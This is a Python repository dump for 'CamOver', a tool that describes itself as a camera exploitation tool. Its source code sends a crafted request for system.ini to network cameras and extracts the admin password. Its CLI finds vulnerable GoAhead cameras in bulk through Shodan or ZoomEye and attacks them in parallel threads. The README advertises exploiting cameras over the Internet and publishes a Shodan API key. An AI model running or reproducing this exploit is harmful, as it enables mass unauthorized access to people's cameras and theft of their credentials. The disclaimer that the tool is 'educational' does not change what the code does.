[
  {
    "path": ".gitignore",
    "content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\npip-wheel-metadata/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n.python-version\n\n# pipenv\n#   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n#   However, in case of collaboration, if having platform-specific dependencies or dependencies\n#   having no cross-platform support, pipenv may install dependencies that don't work, or not\n#   install all needed dependencies.\n#Pipfile.lock\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow\n__pypackages__/\n\n# Celery stuff\ncelerybeat-schedule\ncelerybeat.pid\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.env\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n"
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "content": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nWe as members, contributors, and leaders pledge to make participation in our\ncommunity a harassment-free experience for everyone, regardless of age, body\nsize, visible or invisible disability, ethnicity, sex characteristics, gender\nidentity and expression, level of experience, education, socio-economic status,\nnationality, personal appearance, race, religion, or sexual identity\nand orientation.\n\nWe pledge to act and interact in ways that contribute to an open, welcoming,\ndiverse, inclusive, and healthy community.\n\n## Our Standards\n\nExamples of behavior that contributes to a positive environment for our\ncommunity include:\n\n* Demonstrating empathy and kindness toward other people\n* Being respectful of differing opinions, viewpoints, and experiences\n* Giving and gracefully accepting constructive feedback\n* Accepting responsibility and apologizing to those affected by our mistakes,\n  and learning from the experience\n* Focusing on what is best not just for us as individuals, but for the\n  overall community\n\nExamples of unacceptable behavior include:\n\n* The use of sexualized language or imagery, and sexual attention or\n  advances of any kind\n* Trolling, insulting or derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or email\n  address, without their explicit permission\n* Other conduct which could reasonably be considered inappropriate in a\n  professional setting\n\n## Enforcement Responsibilities\n\nCommunity leaders are responsible for clarifying and enforcing our standards of\nacceptable behavior and will take appropriate and fair corrective action in\nresponse to any behavior that they deem inappropriate, threatening, offensive,\nor harmful.\n\nCommunity leaders have the right and responsibility to remove, edit, or reject\ncomments, commits, code, wiki edits, issues, and other contributions that are\nnot aligned to this Code of Conduct, and will communicate reasons for moderation\ndecisions when appropriate.\n\n## Scope\n\nThis Code of Conduct applies within all community spaces, and also applies when\nan individual is officially representing the community in public spaces.\nExamples of representing our community include using an official e-mail address,\nposting via an official social media account, or acting as an appointed\nrepresentative at an online or offline event.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported to the community leaders responsible for enforcement at\nentysec@gmail.com.\nAll complaints will be reviewed and investigated promptly and fairly.\n\nAll community leaders are obligated to respect the privacy and security of the\nreporter of any incident.\n\n## Enforcement Guidelines\n\nCommunity leaders will follow these Community Impact Guidelines in determining\nthe consequences for any action they deem in violation of this Code of Conduct:\n\n### 1. Correction\n\n**Community Impact**: Use of inappropriate language or other behavior deemed\nunprofessional or unwelcome in the community.\n\n**Consequence**: A private, written warning from community leaders, providing\nclarity around the nature of the violation and an explanation of why the\nbehavior was inappropriate. A public apology may be requested.\n\n### 2. Warning\n\n**Community Impact**: A violation through a single incident or series\nof actions.\n\n**Consequence**: A warning with consequences for continued behavior. No\ninteraction with the people involved, including unsolicited interaction with\nthose enforcing the Code of Conduct, for a specified period of time. This\nincludes avoiding interactions in community spaces as well as external channels\nlike social media. Violating these terms may lead to a temporary or\npermanent ban.\n\n### 3. Temporary Ban\n\n**Community Impact**: A serious violation of community standards, including\nsustained inappropriate behavior.\n\n**Consequence**: A temporary ban from any sort of interaction or public\ncommunication with the community for a specified period of time. No public or\nprivate interaction with the people involved, including unsolicited interaction\nwith those enforcing the Code of Conduct, is allowed during this period.\nViolating these terms may lead to a permanent ban.\n\n### 4. Permanent Ban\n\n**Community Impact**: Demonstrating a pattern of violation of community\nstandards, including sustained inappropriate behavior,  harassment of an\nindividual, or aggression toward or disparagement of classes of individuals.\n\n**Consequence**: A permanent ban from any sort of public interaction within\nthe community.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage],\nversion 2.0, available at\nhttps://www.contributor-covenant.org/version/2/0/code_of_conduct.html.\n\nCommunity Impact Guidelines were inspired by [Mozilla's code of conduct\nenforcement ladder](https://github.com/mozilla/diversity).\n\n[homepage]: https://www.contributor-covenant.org\n\nFor answers to common questions about this code of conduct, see the FAQ at\nhttps://www.contributor-covenant.org/faq. Translations are available at\nhttps://www.contributor-covenant.org/translations.\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "## Contributing\n\n[fork]: /fork\n\n[pr]: /compare\n\n[code-of-conduct]: CODE_OF_CONDUCT.md\n\n[templates]: templates\n\nHi there! We're thrilled that you'd like to contribute to this project. Your help is essential for keeping it great.\n\nPlease note that this project is released with a [Contributor Code of Conduct][code-of-conduct]. By participating in\nthis project you agree to abide by its terms.\n\n## Issues and PRs\n\nIf you have suggestions for how this project could be improved, or want to report a bug, open an issue! We'd love all\nand any contributions. If you have questions, too, we'd love to hear them.\n\nWe'd also love PRs. If you're thinking of a large PR, we advise opening up an issue first to talk about it, though! Look\nat the links below if you're not sure how to open a PR.\n\n## Submitting a pull request\n\n1. [Fork][fork] and clone the repository.\n2. Create a new branch: `git checkout -b my-branch-name`.\n3. Make your changes, fix bugs, add modules, plugins or commands and perform tests.\n4. Push to your fork and [submit a pull request][pr].\n5. Pat your self on the back and wait for your pull request to be reviewed and merged.\n\nHere are a few things you can do that will increase the likelihood of your pull request being accepted:\n\n- Follow the standard of [templates][templates].\n- Keep your changes as focused as possible. If there are multiple changes you would like to make that are not dependent\n  upon each other, consider submitting them as separate pull requests.\n- Write a [good commit message](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html).\n\nWork in Progress pull requests are also welcome to get feedback early on, or if there is something blocked you.\n\n## Resources\n\n- [How to Contribute to Open Source](https://opensource.guide/how-to-contribute/)\n- [Using Pull Requests](https://help.github.com/articles/about-pull-requests/)\n- [GitHub Help](https://help.github.com)\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2020-2024 EntySec\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# CamOver\n\n[![Developer](https://img.shields.io/badge/developer-EntySec-blue.svg)](https://entysec.com)\n[![Language](https://img.shields.io/badge/language-Python-blue.svg)](https://github.com/EntySec/CamOver)\n[![Forks](https://img.shields.io/github/forks/EntySec/CamOver?style=flat&color=green)](https://github.com/EntySec/CamOver/forks)\n[![Stars](https://img.shields.io/github/stars/EntySec/CamOver?style=flat&color=yellow)](https://github.com/EntySec/CamOver/stargazers)\n[![CodeFactor](https://www.codefactor.io/repository/github/EntySec/CamOver/badge)](https://www.codefactor.io/repository/github/EntySec/CamOver)\n\nCamOver is a camera exploitation tool that allows to disclosure network camera admin password.\n\n## Features\n\n* Exploits vulnerabilities in most popular camera models such as `CCTV`, `GoAhead` and `Netwave`.\n* Optimized to exploit multiple cameras at one time from list with threading enabled.\n* Simple CLI and API usage.\n\n## Installation\n\n```shell\npip3 install git+https://github.com/EntySec/CamOver\n```\n\n## Basic usage\n\nTo use CamOver just type `camover` in your terminal.\n\n```\nusage: camover [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN]\n               [--zoomeye ZOOMEYE] [-p PAGES]\n\nCamOver is a camera exploitation tool that allows to disclosure network camera\nadmin password.\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -t, --threads         Use threads for fastest work.\n  -o OUTPUT, --output OUTPUT\n                        Output result to file.\n  -i INPUT, --input INPUT\n                        Input file of addresses.\n  -a ADDRESS, --address ADDRESS\n                        Single address.\n  --shodan SHODAN       Shodan API key for exploiting devices over Internet.\n  --zoomeye ZOOMEYE     ZoomEye API key for exploiting devices over Internet.\n  -p PAGES, --pages PAGES\n                        Number of pages you want to get from ZoomEye.\n```\n\n### Examples\n\n**Exploiting single camera**\n\nLet's hack my camera just for fun.\n\n```shell\ncamover -a 192.168.99.100\n```\n\n**Exploiting cameras from Internet**\n\nLet's try to use Shodan search engine to exploit cameras over Internet, we will use it with `-t` for fast exploitation.\n\n```shell\ncamover -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD\n```\n\n**NOTE:** Given Shodan API key (`PSKINdQe1GyxGgecYz2191H2JoS9qvgD`) is my PRO API key, you can use this key or your own,\nbe free to use all our resources for free :)\n\n**Exploiting cameras from input file**\n\nLet's try to use opened database of cameras with `-t` for fast exploitation.\n\n```shell\ncamover -t -i cameras.txt -o passwords.txt\n```\n\n**NOTE:** It will exploit all cameras in `cameras.txt` list by their addresses and save all obtained passwords\nto `passwords.txt`.\n\n## API usage\n\nCamOver also has their own Python API that can be invoked by importing CamOver to your code.\n\n```python\nfrom camover import CamOver\n```\n\n### Basic functions\n\nThere are all CamOver basic functions that can be used to exploit specified camera.\n\n* `exploit(address)` - Exploit single camera by given address.\n\n### Examples\n\n**Exploiting single camera**\n\n```python\nfrom camover import CamOver\n\ncamover = CamOver()\ncreds = camover.exploit('192.168.99.100')\n\nprint(creds)\n```\n"
  },
  {
    "path": "TERMS_OF_SERVICE.md",
    "content": "# Terms of Service\n\n## Our disclaimer\n\nThis tool is designed for educational purposes only.\n\nAdequate defenses can only be built by researching attack techniques available to malicious actors.\nUsing this tool against target systems without prior permission is illegal in most jurisdictions.\nThe authors are not liable for any damages from misuse of this information or code.\n\nIf you are planning on using this tool for malicious purposes that are not authorized by the company\nyou are performing assessments for, you are violating the terms of service and license. \n\nAfter installing this tool, you automatically accept our terms of service and agree\nthat you will use it only for lawful purposes.\n"
  },
  {
    "path": "camover/__init__.py",
    "content": "\"\"\"\nMIT License\n\nCopyright (c) 2020-2024 EntySec\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\n\nfrom .__main__ import CamOver\n"
  },
  {
    "path": "camover/__main__.py",
    "content": "\"\"\"\nMIT License\n\nCopyright (c) 2020-2024 EntySec\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\n\nimport re\nimport requests\n\n\nclass CamOver(object):\n    \"\"\" Main class of camover module.\n\n    This main class of camover module is intended for providing\n    an exploit for network camera vulnerability that extracts credentials\n    from the obtained system.ini file.\n    \"\"\"\n\n    @staticmethod\n    def exploit(address: str) -> tuple:\n        \"\"\" Exploit the vulnerability in network camera and extract credentials\n\n        :param str address: device address\n        :return tuple: tuple of username and password\n        \"\"\"\n\n        username = 'admin'\n\n        try:\n            response = requests.get(\n                f\"http://{address}/system.ini?loginuse&loginpas\",\n                verify=False,\n                timeout=3\n            )\n        except Exception:\n            return\n\n        if response.status_code == 200:\n            strings = re.findall(\"[^\\x00-\\x1F\\x7F-\\xFF]{4,}\", response.text)\n\n            if username in strings:\n                username_index = strings.index(username)\n                password = strings[username_index + 1]\n\n                return username, password\n"
  },
  {
    "path": "camover/cli.py",
    "content": "\"\"\"\nMIT License\n\nCopyright (c) 2020-2024 EntySec\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\n\nimport os\nimport argparse\nimport requests\nimport threading\n\nfrom badges import Badges\nfrom shodan import Shodan\n\nfrom time import sleep as thread_delay\n\nfrom .__main__ import CamOver\n\n\nclass CamOverCLI(CamOver, Badges):\n    \"\"\" Subclass of camover module.\n\n    This subclass of camover module is intended for providing\n    command-line interface for CamOver.\n    \"\"\"\n\n    thread_delay = 0.1\n\n    description = (\n        'CamOver is a camera exploitation tool that allows to'\n        ' disclosure network camera admin password.'\n    )\n\n    parser = argparse.ArgumentParser(description=description)\n    parser.add_argument('-t', '--threads', dest='threads', action='store_true', help='Use threads for fastest work.')\n    parser.add_argument('-o', '--output', dest='output', help='Output result to file.')\n    parser.add_argument('-i', '--input', dest='input', help='Input file of addresses.')\n    parser.add_argument('-a', '--address', dest='address', help='Single address.')\n    parser.add_argument('--shodan', dest='shodan', help='Shodan API key for exploiting devices over Internet.')\n    parser.add_argument('--zoomeye', dest='zoomeye', help='ZoomEye API key for exploiting devices over Internet.')\n    parser.add_argument('-p', '--pages', dest='pages', type=int, help='Number of pages you want to get from ZoomEye.')\n    args = parser.parse_args()\n\n    def thread(self, address: str) -> bool:\n        \"\"\" Start new thread for the specified address.\n\n        :param str address: device address\n        :return bool: True if thread succeed\n        \"\"\"\n\n        result = self.exploit(address)\n\n        if result:\n            result = f\"({address}) - {result[0]}:{result[1]}\"\n            if not self.args.output:\n                self.print_success(result)\n            else:\n                with open(self.args.output, 'a') as f:\n                    f.write(f\"{result}\\n\")\n            return True\n        return False\n\n    def crack(self, addresses: list) -> None:\n        \"\"\" Crack all devices from the specified list.\n\n        :param list addresses: list of devices addresses\n        :return None: None\n        \"\"\"\n\n        line = \"/-\\\\|\"\n\n        counter = 0\n        threads = list()\n        for address in addresses:\n            if counter >= len(line):\n                counter = 0\n            self.print_process(f\"Exploiting... ({address}) {line[counter]}\", end='')\n\n            if not self.args.threads:\n                self.thread(address)\n            else:\n                thread_delay(self.thread_delay)\n                thread = threading.Thread(target=self.thread, args=[address])\n\n                thread.start()\n                threads.append(thread)\n            counter += 1\n\n        counter = 0\n        for thread in threads:\n            if counter >= len(line):\n                counter = 0\n            self.print_process(f\"Cleaning up... {line[counter]}\", end='')\n\n            if thread.is_alive():\n                thread.join()\n            counter += 1\n\n    def start(self) -> None:\n        \"\"\" Main command-line arguments handler.\n\n        :return None: None\n        \"\"\"\n\n        if self.args.output:\n            directory = os.path.split(self.args.output)[0]\n\n            if directory:\n                if not os.path.isdir(directory):\n                    self.print_error(f\"Directory: {directory}: does not exist!\")\n                    return\n\n        if self.args.zoomeye:\n            self.print_process(\"Authorizing ZoomEye by given API key...\")\n            try:\n                zoomeye = 'https://api.zoomeye.org/host/search?query=GoAhead 5ccc069c403ebaf9f0171e9517f40e41&page='\n                zoomeye_header = {\n                    'Authorization': f'JWT {self.zoomeye}'\n                }\n                addresses = list()\n\n                if self.args.pages:\n                    pages = int(self.args.pages)\n                else:\n                    pages = 100\n                pages, page = divmod(pages, 20)\n                if page != 0:\n                    pages += 1\n\n                for page in range(1, pages + 1):\n                    results = requests.get(zoomeye + str(page), headers=zoomeye_header).json()\n                    if not len(results['matches']):\n                        self.print_error(\"Failed to authorize ZoomEye!\")\n                        return\n                    for address in results['matches']:\n                        addresses.append(address['ip'] + ':' + str(address['portinfo']['port']))\n            except Exception:\n                self.print_error(\"Failed to authorize ZoomEye!\")\n                return\n            self.crack(addresses)\n\n        elif self.args.shodan:\n            self.print_process(\"Authorizing Shodan by given API key...\")\n            try:\n                shodan = Shodan(self.args.shodan)\n                results = shodan.search(query='GoAhead 5ccc069c403ebaf9f0171e9517f40e41')\n                addresses = list()\n                for result in results['matches']:\n                    addresses.append(result['ip_str'] + ':' + str(result['port']))\n            except Exception:\n                self.print_error(\"Failed to authorize Shodan!\")\n                return\n            self.print_success(\"Authorization successfully completed!\")\n            self.crack(addresses)\n\n        elif self.args.input:\n            if not os.path.exists(self.args.input):\n                self.print_error(f\"Input file: {self.args.input}: does not exist!\")\n                return\n\n            with open(self.args.input, 'r') as f:\n                addresses = f.read().strip().split('\\n')\n                self.crack(addresses)\n\n        elif self.args.address:\n            self.print_process(f\"Exploiting {self.args.address}...\")\n            if not self.thread(self.args.address):\n                self.print_error(f\"({self.args.address}) - is not vulnerable!\")\n\n        else:\n            self.parser.print_help()\n            return\n        self.print_empty(end='')\n\n\ndef main() -> None:\n    \"\"\" CamOver command-line interface.\n\n    :return None: None\n    \"\"\"\n\n    try:\n        cli = CamOverCLI()\n        cli.start()\n    except BaseException:\n        pass\n"
  },
  {
    "path": "setup.py",
    "content": "\"\"\"\nMIT License\n\nCopyright (c) 2020-2024 EntySec\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\n\nfrom setuptools import setup, find_packages\n\nsetup(name='camover',\n      version='1.0.0',\n      description=(\n          'CamOver is a camera exploitation tool that allows to'\n          ' disclosure network camera admin password.'\n      ),\n      url='https://github.com/EntySec/CamOver',\n      author='EntySec',\n      author_email='entysec@gmail.com',\n      license='MIT',\n      python_requires='>=3.7.0',\n      packages=find_packages(),\n      entry_points={\n          \"console_scripts\": [\n              \"camover = camover.cli:main\"\n          ]\n      },\n      install_requires=[\n          'shodan',\n          'badges @ git+https://github.com/EntySec/Badges'\n      ],\n      zip_safe=False\n      )\n"
  }
]